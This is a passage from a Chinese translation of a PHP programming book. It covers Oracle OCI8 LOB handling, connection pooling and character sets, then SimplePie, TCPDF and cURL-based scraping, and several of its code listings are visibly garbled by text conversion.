当然,会插入一个空的 LOB,这意味着文件名是正确的,但是内容不在那里。换句话说,数据库在逻辑上会被破坏。单词 corrupt 表示数据库中的数据不一致。当然,有文件名而没有必要的文件是数据库的不一致状态。这与上一节中显示的锁定游标的问题非常相似,但是更加危险。

OCI8 接口包含 OCI-Lob 类。使用oci_new_descriptor调用分配该类的新对象。该类具有与DBMS_LOB内部 PL/SQL 包或多或少相同的方法,用于处理来自 PL/SQL 的 lob。请记住,应该将 LOB 列视为存储在数据库中的文件。人们可以对文件进行许多操作:读取、写入、追加、获取大小、告知当前位置、查找、设置缓冲、将位置重置到开头(倒带)以及将它们刷新到磁盘。所有这些操作也是 OCI-Lob 类的方法。为了简单起见,我们使用了OCI-Lob->import,但是我们也可以使用OCI-Lob->write,这完全类似于文件系统写调用。语法如下:int OCI-Lob->write($buffer,$length)。write 方法返回实际写入 LOB 列的字节数。

我们已经使用了OCI-Lob->flush()方法来确保从原始文件传输的所有数据都已经在提交时实际写入 LOB 列。这是一个明智的策略,可以确保在提交事务、释放锁和使 LOB 描述符失效之前,数据完全传输到服务器。再者,OCI-Lob->import对于小文件来说极其方便。对于大文件,完全有可能遇到各种内存问题。php 脚本通常在 php.ini 文件中设置了内存限制,大多数系统管理员都不会允许 PHP 脚本消耗大量内存,通常 PHP 脚本允许消耗的内存值在 32MB 到 256MB 之间。如果网站被大量使用,这种慷慨会导致整个机器瘫痪。数百 MB 大小的超大型文件只能分段加载,将合理大小的块读入缓冲区,并使用 OCI-Lob 写操作将这些缓冲区写入 LOB 列。LOB 列的最大大小是 4GB,但是很少需要将如此大的文件加载到数据库中。在我们的职业生涯中,最常遇到的情况是将文本文档加载到数据库中,它们很少大于几兆字节。OCI-Lob->import()方法通常用于这种类型的文件。

作为本章的总结,清单 9-8 展示了一个小的示例脚本,它将读取我们刚刚插入的 LOB 并演示OCI-Lob->read()的用法。

***清单 9-8。*脚本使用OCI-Lob->read() 进行演示

<?php $qry = <<<SQL DECLARE fcon CLOB; BEGIN SELECT fcontent into fcon FROM test2_ins WHERE fname='harrison_bergeron.txt'; :CLB:=fcon; END; SQL; try {     $dbh = oci_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $lh = oci_new_descriptor($dbh, OCI_DTYPE_LOB);     $res = oci_parse($dbh, $qry);     oci_bind_by_name($res, ":CLB", $lh, -1, SQLT_CLOB);     if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     $novel = $lh->read(65536);     printf("Length of the string is %d\n", strlen($novel)); } catch(Exception $e) {     print "Exception:\n";     die($e->getMessage() . "\n"); } ?>

第一个问题是,为什么我们要将这个小查询包装到一个匿名的 PL/SQL 块中?答案是,在一个SELECT...INTO语句中将 LOB 描述符绑定到一个简单的占位符是行不通的。它会产生无效的 LOB 句柄。将查询包装成一个简单的匿名 PL/SQL 句柄没什么大不了的。执行部分已经重复了一遍又一遍:解析、绑定变量、执行。从 LOB 列中读取数据就像从操作系统的对应文件中读取数据一样简单。

images 注意 LOB 列应该被认为是存储在数据库中的文件。

使用 LOB 列时,有更多的选项、提示和技巧。在 Oracle RDBMS 的最新版本 Oracle 11g 中,可以使用单独许可的高级压缩选项来压缩 LOB 列。所有其他 Oracle 文档中都有一本手册,名为大型对象开发人员指南,或者,对于 11g 版本,名为安全文件和大型对象开发人员指南

连接数据库再探:连接池

这是一个“出血边缘”部分。数据库中的连接池仅在 Oracle 11g 中可用,Oracle 11g 是 Oracle RDBMS 的最新和最大版本。许多用户尚未将其数据库转换到 Oracle 11g。升级生产数据库是一个严肃的项目,不能掉以轻心,但是如果有许多应用可以从连接池中受益,连接池的可能性可能是升级到 11g 的一个很好的理由。连接池不仅仅对 PHP 用户可用;这是一种通用机制,也可以与其他工具一起使用。

任何曾经使用过 Java 应用和应用服务器的人都知道连接池的概念,它直观且易于理解。基本上,目标是分配一定数量的可以被应用重用的服务器进程。DBA 可以分配一个进程池,并将其提供给应用。

为了理解这些优势,我们先来看看连接到 Oracle 实例的传统选项是什么。在连接池之前,只有两个选项,并且都需要由 DBA 进行配置。第一种选择是专用服务器连接。当应用请求专用服务器时,会分配一个 Oracle 服务器进程为其服务。它将只服务于单个应用,并且如果该应用是空闲的,则所分配的进程不能服务于任何其他可能未决的请求。这个过程在发起创建的连接的生命周期内存在,并在收到断开请求时退出。这是处理连接的默认方式,通常适用于大多数应用。每个进程都有自己的工作区,在 Oracle 术语中称为进程全局区(PGA ),用于排序和散列。当专用进程退出时,它的 PGA 被解除分配,因为它是非共享内存,由每个单独的进程拥有。每个专用服务器连接都会产生创建服务器进程的开销。数据库必须配置为允许每个连接用户有一个进程。

另一种自 Oracle 7 以来就存在的数据库连接称为共享服务器连接。数据库可以这样配置,即存在一组共享服务器进程,它们将代表请求用户执行 SQL 语句。应用 A 的一条 SQL 语句完成后,就可以开始处理应用 b 的另一条 SQL 语句了。不能保证为同一请求进程执行的两条连续 SQL 语句将由同一共享服务器执行。所有共享服务器进程在共享内存中都有自己的工作区,Oracle 称之为共享全局区(SGA),这意味着必须进行大量的配置工作才能顺利运行。这还需要大量的共享内存,这些内存是永久分配的,在不需要的时候不能取消分配。连接应用不需要创建新的进程,少量的进程就可以处理大量的请求进程。配置和监控共享服务器系统相当复杂,很少使用。

连接池从 Oracle 11g 开始提供,也称为数据库驻留连接池(DRCP ),提供了两个世界的优点。一旦池中的一个进程被分配给一个会话,它就在会话期间保持分配给该会话。此外,池中的每个进程都有自己的 PGA,所以昂贵的共享内存配置没有问题。

连接池主要是由 DBA 在数据库端配置的,在 PHP 参数中,在php.ini内部。脚本不必改变它们的语法。现有脚本无需任何修改就可以使用池。现在让我们看看如何配置池。

首先,在 Oracle RDBMS 端,我们必须配置池。这是使用DBMS_CONNECTION_POOL提供的 PL/SQL 包完成的。该软件包描述如下:

http://download.oracle.com/docs/cd/E11882_01/appdev.112/e16760/toc.htm

该包允许管理员定义池中服务器进程的最大数量、进程的最小数量、服务器进程返回池之前的最大空闲时间、最大会话生存期和生存时间(TTL)。当会话空闲时间超过生存时间参数定义的时间时,它将被终止。这有助于 Oracle 维护池的使用情况。以下是 DBA 端的池配置示例:

begin dbms_connection_pool.configure_pool( pool_name => 'SYS_DEFAULT_CONNECTION_POOL', minsize => 5, maxsize => 40, incrsize => 5, session_cached_cursors => 128, inactivity_timeout => 300, max_think_time => 600, max_use_session => 500000, max_lifetime_session => 86400); end;

为此,用户必须以SYSDBA的身份连接。在不涉及太多细节的情况下,我们将使用默认的池参数,并且只启动池。Oracle 11.2 仅支持单个连接池,因此没有启动池的选择:

`SQL> connect / as sysdba Connected. SQL> exec dbms_connection_pool.start_pool();

PL/SQL procedure successfully completed.`

这将启动默认池。一旦启动,该池将持续存在。即使实例重新启动,池也会自动启动。一旦池被启动,参数oci8.connection_class需要被设置。它被设置为一个字符串,向 Oracle 实例标识您的应用。这可以在以后通过 Oracle 系统表进行监控。以下是我在 php.ini 中使用的设置:

oci8.connection_class = TEST oci8.ping_interval = -1 oci8.events = On oci8.statement_cache_size = 128 oci8.default_prefetch = 128

参数oci8.events启用实例启动或关闭通知,将参数oci8.ping_interval设置为-1 将禁止从 PHP 端 ping 实例是否启动。这是不需要的,因为向上/向下通知是通过将events参数设置为“开”来启用的最后两个参数是出于性能原因。OCI8 会话将在其用户内存中缓存多达 128 个游标,并将尝试以 128 个为一批带回行。

参数文件现在已经完成。我们现在需要的只是联系。为此,我们将重新查看清单 9-2 中的脚本,并替换如下代码行

$dbh = oci_connect("scott", "tiger", "local");

上面有一行写着

$dbh = oci_pconnect("scott", "tiger", "localhost/oracle.home:POOLED");

仅此而已!其他都不需要改变。该脚本现在将以与之前的connect命令完全相同的方式执行。那么,pconnect是什么?oci_pconnect创造了持久的联系。当连接建立后,一旦脚本退出,它将不会关闭。连接时,OCI8 将检查是否已经存在具有相同凭据的未使用连接,如果存在,将重用它。还有oci_new_connection调用,每次都会请求新的连接。标准的oci_connect,我们在本章一直使用的调用,将在脚本退出时关闭连接,但是如果使用相同凭证的连接被多次请求,将返回现有的句柄。

在什么情况下应该使用池?当有多个进程使用相同的数据库凭据连接到数据库,并且这些进程在一段时间内重复连接时,应该考虑使用池。使用连接池有什么好处?使用连接池可以节省数据库资源,并使 DBA 能够更好地管理宝贵的数据库资源。使用连接池是一个需要与 DBA 讨论的决定,DBA 必须完成大部分工作。

数据库和 PHP 中的字符集

使用数据库时,经常会遇到字符集的问题。Oracle 以参数NLS_CHARACTERSET定义的字符集存储数据,该字符集是在创建时定义的,一般不能轻易更改。当且仅当新字符集是以前字符集的超集时,才支持字符集的更改。当试图更改不受支持的字符集时,数据库可能会损坏。大多数时候,改变字符集的唯一现实的方法是导出/导入,这对于太字节大小的数据库来说要花相当长的时间。

幸运的是,对于 PHP 程序员来说,Oracle 还将发送给客户机的数据转换成客户机指定的字符集。有一个环境变量驱动这种转换。让我们在SCOTT模式中创建另一个表:

CREATE TABLE TEST3   (     TKEY NUMBER(10,0),     TVAL VARCHAR2(64)   )

该表中插入了一行,包含以下值:

(1,'Überraschung')dieüberraschung 这个词在德语中是 surprise 的意思,之所以选在开头是因为这个字。字符 U 上方的这个标记被称为元音变音。现在,让我们创建一个小的 PHP 脚本,它是对本章前面的清单 9-2 中的脚本的一个小的修改(参见清单 9-9 )。

***清单 9-9。*一个小 PHP 脚本

<?php $QRY = "select * from test3"; try {     $dbh = oci_new_connect("scott", "tiger", "local");     if (!$dbh) {         $err = oci_error();         throw new exception($err['message']);     }     $sth = oci_parse($dbh, $QRY);     if (!oci_execute($sth)) {         $err = oci_error($dbh);         throw new exception($err['message']);     }     while ($row = oci_fetch_array($sth, OCI_NUM)) {         foreach ($row as $r) {             printf("%-12s", $r);         }         print "\n";     } } catch(exception $e) {     print "Exception:";     print $e->getMessage() . "\n";     exit(-1); } ?>

这个脚本从表 TEST3 中选择所有内容,并在标准输出中显示出来。这个剧本没有什么特别有趣的地方。显示它的原因如下:

第一次执行:

unset NLS_LANG ./script9.8.php 1           Uberraschung

第二次执行:

export NLS_LANG=AMERICAN_AMERICA.AL32UTF8 ./scriptDB.8.php 1           Überraschung

根据环境变量NLS_LANG,脚本的输出会有所不同。NLS_LANG的语法是<Language>_<Territory>.Character set。Oracle 文档中也描述了具体的语法和示例,我们强烈推荐使用该文档。在第一次调用中,没有定义NLS_LANG变量;Oracle 使用系统中的默认字符集,即用于开发本书示例的机器上的 US7ASCII。脚本的输出不包含任何不符合 US7ASCII 标准的字符;这个单词被写成 Uberraschung ,没有元音字母(字母 U 上方的小圆点)。第二次,在正确定义了NLS_LANG的情况下,输出是正确的:它包含了元音字母。

如果您对使用 NLS_LANG 进行控制不感兴趣,或者如果您的脚本必须以各种字符集显示输出,那么可以在连接时指定。字符集实际上是oci_connect的第四个参数。如果不使用 NLS _ 朗变量,我们可以编写oci_connect("scott","tiger","local","AL32UTF8"),输出也将包含变音。字符集的 Oracle 名称可以在文档和数据库中找到。有效名称在V$NLS_VALID_VALUES表中。Oracle 支持 200 多种不同的字符集。有关特定字符集的详细信息,请参考 Oracle 文档。

当然,为了让 PHP 能够正确显示内容,您还应该将iconv.output_encoding设置为正确的字符集,以便正确显示输出。我通常这样设置 iconv 参数:

iconv.input_encoding = UTF-8 iconv.internal_encoding = UTF-8 iconv.output_encoding = UTF-8

此时,input_encoding 参数不用于任何事情;它只是为了完整性而设置的。这样,PHP 将能够使用正确的字符集进行输出,并且我的字符串将被正确格式化。

总结

在本章中,我们详细介绍了 OCI8 扩展的使用。最重要的特性是数组接口。array 接口使 PHP 加载脚本的执行速度比没有它时快一个数量级,但它确实需要 OCI8 接口的一些特定功能,即OCI-Collection类。我们还介绍了如何使用 LOB 类型、游标和绑定变量,这在开发 web 应用时会变得很方便。字符集和连接池等特性已经成为现代应用系统不可或缺的一部分。随着 Oracle RDBMS 新版本的推出,OCI8 接口中可能会添加一些新特性,但目前来看,这些特性应该已经相当全面地涵盖了 OCI8 的特性。

十、库

PHP 是一种用途广泛的通用语言。现在有许多成熟的、功能丰富的开源库。这是一件好事,因为作为程序员,我们希望尽可能不要重新发明轮子。库可以节省我们的时间和精力。本章非常注重实践,我们将展示如何:

  • 使用 SimplePie 解析 RSS 提要
  • 使用 TCPDF 生成 PDF
  • 使用 cURLphpQuery 从网站上抓取数据
  • 使用 php-google-map-api 整合 Google 地图
  • 使用 PHPMailer 生成电子邮件和短信
  • gChartPHP 包装 Google Chart API

服务器设置

对于本章的所有例子,让我们假设我们的文档根是/htdocs/

那么我们相对于根目录的本地服务器文件系统设置将是:

/htdocs/library1/ /htdocs/library2/ … /htdocs/example1.php /htdocs/example2.php …

这将对应于以下位置的浏览器输出:

http://localhost/library1/ http://localhost/library2/ http://localhost/example1.php http://localhost/example2.php

单纯形

SimplePie 是一个支持非常简单的 RSS 和 Atom-feed 消费的库。SimplePie 还提供了高级功能,有很好的文档记录,并且是免费的。从[simplepie.org/](http://simplepie.org/)下载 SimplePie,放在/htdocs/simplepie/。在您的浏览器中,[localhost/simplepie/compatibility_test/sp_compatibility_test.php](http://localhost/simplepie/compatibility_test/sp_compatibility_test.php)页面将帮助您解决服务器设置问题。如果您收到以下消息,您可以启用 cURL 扩展:

"cURL: The cURL extension is not available. SimplePie will use fsockopen() instead."

但是,正如输出所说的,这不是严格需要的,选择由您决定。

让我们看看来自wired.com的 RSS 提要。在关于 XML 的第十四章中,我们将在不使用 SimplePie 库的情况下重新访问这个提要。提要 URL 是http://feeds.wired.com/wired/index?format=xml。SimplePie 抛出了几个E_DEPRECATED错误,这是 PHP 5.3 中新增的。我们将使用行error_reporting(E_ALL ^ E_NOTICE ^ E_DEPRECATED);. See Listing 10-1.禁用该消息的输出

***清单 10-1。*简单派基本用法

`

feedurl="http://feeds.wired.com/wired/index?format=xml";feed_url = "http://feeds.wired.com/wired/index?format=xml"; simplepie = new Simplepie ( $feed_url );

foreach ( simplepie>getitems()assimplepie->get_items () as item ) {         echo '

';         echo item>gettitle().</a></strong><br/>;        echo<em>.item->get_title () . '</a></strong><br/>';         echo '<em>' . item->get_date () . '
';         echo $item->get_content () . '

'; } ?>

`

如果您收到警告“./cache is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable”,那么我们需要解决这个问题。要么提供一个可写的自定义路径作为构造函数的第二个参数,要么在与我们的脚本相同的目录中创建一个名为'cache'的可写文件夹。图 10-1 显示了清单 10-1 的输出。

images

***图 10-1。*清单 10-1 的示例浏览器输出

我们自己在第十四章的代码并不比这个例子长多少。使用 SimplePie 库的真正优势是它更加可配置和成熟。它处理不同类型的提要,如果解析过程越复杂,它将为我们节省大量的工作。SimplePie 有很多辅助方法来完成任务,比如检索 favicon 或社交媒体字段。它还具有内置的清理支持和订阅管理。SimplePie 有用于外部框架、CMSes 和 API 的插件。在清单 10-2 中,我们添加了 feed 链接的 favicon 图像并格式化了日期。

清单 10-2。 SimplePie 添加图标和自定义格式化日期

`

favicon=favicon = simplepie->get_favicon (); foreach ( simplepie>getitems()assimplepie->get_items () as item ) {         echo '

favicon   ';         echo '';         echo item>gettitle().</a></strong><br/>;        echo<em>.item->get_title () . '</a></strong><br/>';         **echo '<em>' . item->get_date ( 'd/m/Y' ) . '
';**         echo $item->get_content () . '

'; } ?>

`

我们的最后一个例子将处理 RSS 提要中的命名空间元素。如果您不确定在某个提要中填充了哪些字段,请在 web 浏览器中查看源代码并检查 XML。在我们来自 Wired 的样例提要中,作者是一个命名空间元素"dc:creator".

<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

我们可以看到 dc 对应于http://purl.org/dc/elements/1.1/,可以用get_item_tags的方法来考察一个项的结构。参见清单 10-3 和清单 10-4 。

***清单 10-3。*检查带有名称空间的元素的结构

`<?php error_reporting ( E_ALL ^ E_NOTICE ^ E_DEPRECATED ); require_once ('simplepie/simplepie.inc');

feedurl="<ins>http://feeds.wired.com/wired/index?format=xml</ins>";feed_url = "<ins>http://feeds.wired.com/wired/index?format=xml</ins>"; simplepie = new Simplepie ( feedurl);feed_url ); item = array_pop(simplepie>getitems());simplepie->get_items()); creator = item>getitemtags("http://purl.org/dc/elements/1.1/","creator");vardump(item->get_item_tags("http://purl.org/dc/elements/1.1/", "creator"); var_dump(creator);`

输出

array  0 =>     array      'data' => string 'Sample Author' (length=13)      'attribs' =>        array          empty      'xml_base' => string '' (length=0)      'xml_base_explicit' => boolean false      'xml_lang' => string '' (length=0)

现在我们知道了 creator 元素的结构,我们可以将它添加到我们的脚本中。

***清单 10-4。*添加命名空间元素创建者

`

error_reporting ( E_ALL ^ E_NOTICE ^ E_DEPRECATED ); require_once ('simplepie/simplepie.inc');

feedurl="http://feeds.wired.com/wired/index?format=xml";feed_url = "http://feeds.wired.com/wired/index?format=xml"; simplepie = new Simplepie ( $feed_url );

favicon=favicon = simplepie->get_favicon (); foreach ( simplepie>getitems()assimplepie->get_items () as item ) {         creator=creator = item->get_item_tags ( "purl.org/dc/elements…", "creator" );         echo '

favicon   ';         echo '';         echo item>gettitle().</a></strong><br/>;        echo<em>.item->get_title () . '</a></strong><br/>';         echo '<em>' . item->get_date ( 'd/m/Y' ) . '
';         **echo '' . creator[0][data].</em><br/>;        echocreator [0] ['data'] . '</em><br/>';**         echo item->get_content () . '

'; } ?>

The output from Figure 10-4 is shown in Figure 10-2.` ![images](https://p9-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/22b71185947c403383dba0ba2a567f3f~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1771038740&x-signature=uaWBMwWp0LB99sU5r5FCqVGtyzo%3D)

***图 10-2。*清单 10-4 的浏览器输出,显示图标和故事创建者

有关 SimplePie API 的更多方法和文档,请参考位于[simplepie.org/wiki/reference/start](http://simplepie.org/wiki/reference/start)的优秀文档。

TCPDF

TCPDF ( tecnick.com PDF)是一个用 PHP 生成 PDF 文档的库。它不需要外部库,非常受欢迎,正在积极开发中。TCPDF 可在[www.tcpdf.org.](http://www.tcpdf.org.)找到 TCPDF 功能全面,支持通过 PHP GD 和 imagemagick 的图形、条形码、渐变、HTML、CSS、字体、布局管理、页眉和页脚。默认定义和设置在配置文件中,可在/htdocs/tcpdf/config/tcpdf_config.php找到。

用 TCPDF 生成 PDF 时,命令行执行会比在浏览器中更快。浏览器速度也可能大相径庭。例如,Chrome 浏览器内置的 PDF 渲染器速度惊人。通过 TCPDF 生成 PDF 会占用大量内存和执行时间。我们可能需要调整几个php.ini设置。

max_execution_time = 90 //adjust up or down as necessary memory_limit = 256M     //increase/decrease as necessary

清单 10-5 用最少的编码在 PDF 中生成一行文本。

***清单 10-5。*最小 TCPDF 示例

`<?php

error_reporting(E_ALL); require_once('/tcpdf/config/lang/eng.php'); require_once('/tcpdf/tcpdf.php');

//Construct a new TCPDF object $pdf = new TCPDF();

//add a page $pdf->AddPage();

//assign text $txt = "Pro PHP Programming - Chapter 10: TCPDF Minimal Example";

//print the text block pdf>Write(20,pdf->Write( 20, txt );

//save the PDF $pdf->Output( 'minimal.pdf', 'I' );

?>`

在清单 10-5 中,我们包含了语言配置文件和库入口文件。然后我们构造一个新的TCPDF对象,并通过AddPage方法调用向其添加一个页面。我们写一行高度为 20 的文本,然后生成我们的 PDF。'I'选项是使用一个可用的插件在我们的浏览器中查看文档。

构造函数有许多可选参数,用于设置方向、单位、格式、unicode 用法、编码和磁盘缓存。相应的默认值为纵向、毫米、A4、真、UTF-8 和假。对于 diskcache,false 速度更快,但会消耗更多 RAM。True 由于磁盘写入而较慢,但使用的 RAM 较少。

Write方法只需要行高和文本,但是有大约十个可选参数。Output方法将文件名或原始数据字符串作为第一个参数。当表示一个数据字符串时,第一个字符应该是一个@符号。当表示文件名时,非法字符被删除,空白被转换成下划线。保存选项包括使用插件在线浏览(默认),强制下载,保存到服务器,以原始字符串或电子邮件附件的形式返回文档。

images 注意Write这样的方法调用中可选参数的数量很难记住,而且很容易混淆。设计 API 时,考虑让方法签名对程序员友好。这可以通过限制方法参数的数量或传入关联数组或对象来实现。参数太多也是一种“代码味”罗伯特·马丁在干净代码中说得好(Prentice-Hall,2009 年):

一个函数的理想参数个数是零。接下来是一个(一元),紧接着是两个(二元)。应尽可能避免三个参数(三元组)。超过三个(多音节)需要非常特殊的理由——然后无论如何都不应该使用。”

参数越少,记忆就越容易或不必要。然而,使用 IDE——比如 Zend Studio 或 Netbeans——将提供到源代码和自动完成提示的内联链接。

从图形上看,TCPDF 包含使用 GD 图像、带 alpha 的 PNG 或 EPS 的方法;或者组成诸如圆形、直线和多边形的形状。与大多数方法一样,有大量可配置的可选参数。记住参数并不重要,只需根据需要在tcpdf.php文件中查找即可。

在清单 10-6 中,我们将展示如何在文档中输出图像和 HTML 格式的文本。

***清单 10-6。*第二个带有图像和 HTML 的 TCPDF 示例

`<?php

error_reporting ( E_ALL ); require_once ('/tcpdf/config/lang/eng.php'); require_once ('/tcpdf/tcpdf.php');

//Contruct a new TCPDF object $pdf = new TCPDF ();

//set document meta information pdf>SetCreator(PDFCREATOR);pdf->SetCreator ( PDF_CREATOR ); pdf->SetAuthor ( 'Brian Danchilla' ); pdf>SetTitle(ProPHPProgrammingChapter10);pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' ); pdf->SetSubject ( 'TCPDF Example 2' ); $pdf->SetKeywords ( 'TCPDF, PDF, PHP' );

//set font pdf>SetFont(times,,20);//addapagepdf->SetFont ( 'times', '', 20 );` `//add a page pdf->AddPage (); txt=<<<HDOCProPHPProgramming:Chapter10:TCPDFExample2AnImage:HDOC;txt = <<<HDOC Pro PHP Programming: Chapter 10: TCPDF Example 2 An Image: HDOC; pdf->Write ( 0, $txt );

//image scale factor $pdf->setImageScale ( PDF_IMAGE_SCALE_RATIO );

//JPEG quality $pdf->setJPEGQuality ( 90 );

//a sample image $pdf->Image ( "bw.jpg" );

$txt = "Above: an image

Embedded HTML

This text should have some italic and some bold and the caption should be an <h2>.";

pdf>WriteHTML(pdf->WriteHTML ( txt );

//save the PDF $pdf->Output ( 'image_and_html.pdf', 'I' ); ?> The results of running this example are shown in Figure 10-3.` images

***图 10-3。*运行清单 10-6 导致文本和图像重叠

在清单 10-6 中,我们设置了文档元数据和我们的字体。就像我们在清单 10-5 中的第一个例子,我们添加了一个带有Write的文本块。然后,我们设置一些图像属性,并用Image方法输出我们的图像。最后,我们嵌入 HTML 标签并用WriteHTML方法输出标记。

默认情况下,徽标将输出到光标最后停留的位置。这导致我们的一些输出重叠。为了解决这个问题,我们将用清单 10-7 中的Ln方法添加一些换行符。Ln可选地将高度值作为参数。默认高度将等于先前写入的元素的高度。

***清单 10-7。*通过插入换行符解决重叠问题

`<?php

error_reporting ( E_ALL ); require_once ('/tcpdf/config/lang/eng.php'); require_once ('/tcpdf/tcpdf.php');

//Contruct a new TCPDF object $pdf = new TCPDF ();

//set document meta information pdf>SetCreator(PDFCREATOR);pdf->SetCreator ( PDF_CREATOR ); pdf->SetAuthor ( 'Brian Danchilla' ); pdf>SetTitle(ProPHPProgrammingChapter10);pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' ); pdf->SetSubject ( 'TCPDF Example 2' ); $pdf->SetKeywords ( 'TCPDF, PDF, PHP' );

//set font $pdf->SetFont ( 'times', '', 20 );

//add a page pdf>AddPage();pdf->AddPage (); txt = <<<HDOC Pro PHP Programming: Chapter 10: TCPDF Example 2 An Image: HDOC; pdf>Write(0,pdf->Write ( 0, txt ); $pdf->Ln ();

//image scale factor $pdf->setImageScale ( PDF_IMAGE_SCALE_RATIO );

//JPEG quality $pdf->setJPEGQuality ( 90 );

//a sample image pdf>Image("bw.jpg");pdf->Image ( "bw.jpg" ); **pdf->Ln ( 30 );**

$txt = "Above: an image

Embedded HTML

This text should have some italic and some bold and the caption should be an <h2>.";

pdf>WriteHTML(pdf->WriteHTML ( txt );

//save the PDF $pdf->Output ( 'image_and_html.pdf', 'I' ); ?>`

运行这个例子的结果可以在图 10-4 中看到。

images

***图 10-4。*运行清单 10-7 修复重叠问题

我们的第三个也是最后一个 TCPDF 用法的例子,见清单 10-8 ,将输出一个条形码和渐变。可用的条形码类型可在barcodes.php文件中找到。输出条形码的方法有write1DBarcodewrite2DBarCode,setBarcode。渐变方式有GradientLinearGradientCoonsPatchMesh,RadialGradient

清单 10-8。 TCPDF 生成条形码和渐变

`<?php

error_reporting ( E_ALL ); require_once ('/tcpdf/config/lang/eng.php'); require_once ('/tcpdf/tcpdf.php');

//Contruct a new TCPDF object $pdf = new TCPDF ();

//set document meta information pdf>SetCreator(PDFCREATOR);pdf->SetCreator ( PDF_CREATOR ); pdf->SetAuthor ( 'Brian Danchilla' ); pdf>SetTitle(ProPHPProgrammingChapter10);pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' ); pdf->SetSubject ( 'TCPDF Example 3 - Barcode & Gradient' ); $pdf->SetKeywords ( 'TCPDF, PDF, PHP' );

//set font $pdf->SetFont ( 'times', '', 20 );

//set margins $pdf->SetMargins( PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT );

//add a page pdf>AddPage();pdf->AddPage(); txt = <<<HDOC Chapter 10: TCPDF Example 3 - Barcode & Gradients HDOC; pdf>Write(20,pdf->Write( 20, txt ); $pdf->Ln();

$pdf->write1DBarcode('101101101', 'C39+');

$pdf->Ln();

$txt = "Above: a generated barcode. Below, a generated gradient image";

pdf>WriteHTML(pdf->WriteHTML(txt);

$pdf->Ln();

blue=array(0,0,200);blue = array( 0, 0, 200 );** **yellow = array( 255, 255, 0 ); $coords = array( 0, 0, 1, 1 );

//paint a linear gradient pdf>LinearGradient(PDFMARGINLEFT,90,20,20,pdf->LinearGradient( PDF_MARGIN_LEFT, 90, 20, 20, blue, yellow,yellow, coords ); $pdf->Text( PDF_MARGIN_LEFT, 111, 'Gradient cell' ); //label

//save the PDF $pdf->Output( 'barcode_and_gradient.pdf', 'I' ); ?>`

清单 10-8 中的代码增加了设置页边距、编写条形码和绘制线性渐变的功能。运行这个例子会产生图 10-5 。

images

***图 10-5。*用 TCPDF 生成的条码和渐变

最后,您应该知道您可以用方法SetAutoPageBreak改变分页符的行为。默认情况下,分页是自动的,就像调用了$pdf->SetAutoPageBreak( TRUE, PDF_MARGIN_FOOTER);一样。要关闭自动分页,你可以调用$pdf->SetAutoPageBreak( FALSE );。如果没有自动分页符,一页上放不下的任何额外数据都会被删除。这就需要程序员增加更多的AddPage调用,检查页面内容的大小。使用自动分页符,不适合的数据会输出到新页面上。

抓取网站数据

有时候,我们希望从一个网站检索信息,但是通过 web 服务 API 调用或提要并不容易访问。我们感兴趣的数据以原始 HTML 的形式呈现。我们希望以自动化的方式获得数据,以便进行进一步的数据处理。这个过程被称为页面抓取。

抓取数据不如从提要或 API 接收 XML 数据精确。但是,我们可以使用上下文线索,如 CSS 元素、id 和类值,并定期在表中输出数据,以理解检索到的数据。更严格遵循格式的网站提供更容易精确抓取的数据。

抓取网站数据是一个两步的过程。首先,我们需要获取远程内容,然后我们必须对其进行处理。抓取远程内容可以简单地通过file_get_contents函数来完成,或者使用 cURL 库的更多配置选项来完成。我们可以对数据做的一些事情是直接显示它,过滤/解析它的特定内容,或者将它存储在文件或数据库中。

在本节中,我们关注第二个选项,解析特定的内容。对于一般内容,我们可以用正则表达式来完成。对于我们的 HTML 示例,将数据加载到 DOMDocument 对象中更有意义。我们将展示如何将 DOMDocument 与 DOMXPath 一起使用。我们还将使用 phpQuery 库展示等效的功能。

phpQuery 包装了 DOMDocument,旨在成为服务器端 jQuery 符号的“端口”。因此,如果您已经了解 jQuery,那么这个库将很容易上手。关于 XML、DOM 和 jQuery 的更多信息可以在第十四章和第十五章中找到。

images 注意如果你收到消息Fatal error: Call to undefined function curl_init(),那么你需要安装或者启用cURL扩展。如果您的系统中没有cURL库,您可能需要下载它。

php.ini中添加或启用延长线:

`;windows: extension=php_curl.dll

;linux: extension=php_curl.so`

并重新启动您的 web 服务器

在清单 10-9 的中,我们将使用 cURL 从[www.nhl.com](http://www.nhl.com)获取和输出数据。

***清单 10-9。*基本卷发用法

`<?php error_reporting ( E_ALL ^ E_NOTICE );

url="http://www.nhl.com";printfetchRawData(url = "http://www.nhl.com"; print fetchRawData ( url );

function fetchRawData(url) {         ch = curl_init ();         curl_setopt ( ch,CURLOPTURL,ch, CURLOPT_URL, url );         curl_setopt ( ch,CURLOPTRETURNTRANSFER,true);//returntheoutputasavariable        curlsetopt(ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable         curl_setopt ( ch, CURLOPT_FAILONERROR, true ); //fail if error encountered         curl_setopt ( ch,CURLOPTFOLLOWLOCATION,true);//allowredirects        curlsetopt(ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects         curl_setopt ( ch, CURLOPT_TIMEOUT, 10 ); //time out length

        data=curlexec(data = curl_exec ( ch );         if (! data) {                 echo "<br />cURL error:<br/>\n";                 echo "#" . curl_errno ( ch ) . "
\n";                 echo curl_error ( ch)."<br/>\n";                echo"Detailedinformation:";                vardump(curlgetinfo(ch ) . "<br/>\n";                 echo "Detailed information:";                 var_dump ( curl_getinfo ( ch ) );                 die ();         }

        curl_close ( ch);        returnch );         return data; }

?>`

在清单 10-9 中,我们用curl_init()得到了一个 cURL 资源句柄。然后我们用curl_setopt调用配置 cURL 设置。curl_exec执行请求并返回结果。最后,我们检查结果是否为非空。如果是,那么我们使用curl_errnocurl_errorcurl_getinfo来排除故障。curl_getinfo包含关于最后一个请求的信息。典型的错误如下所示:

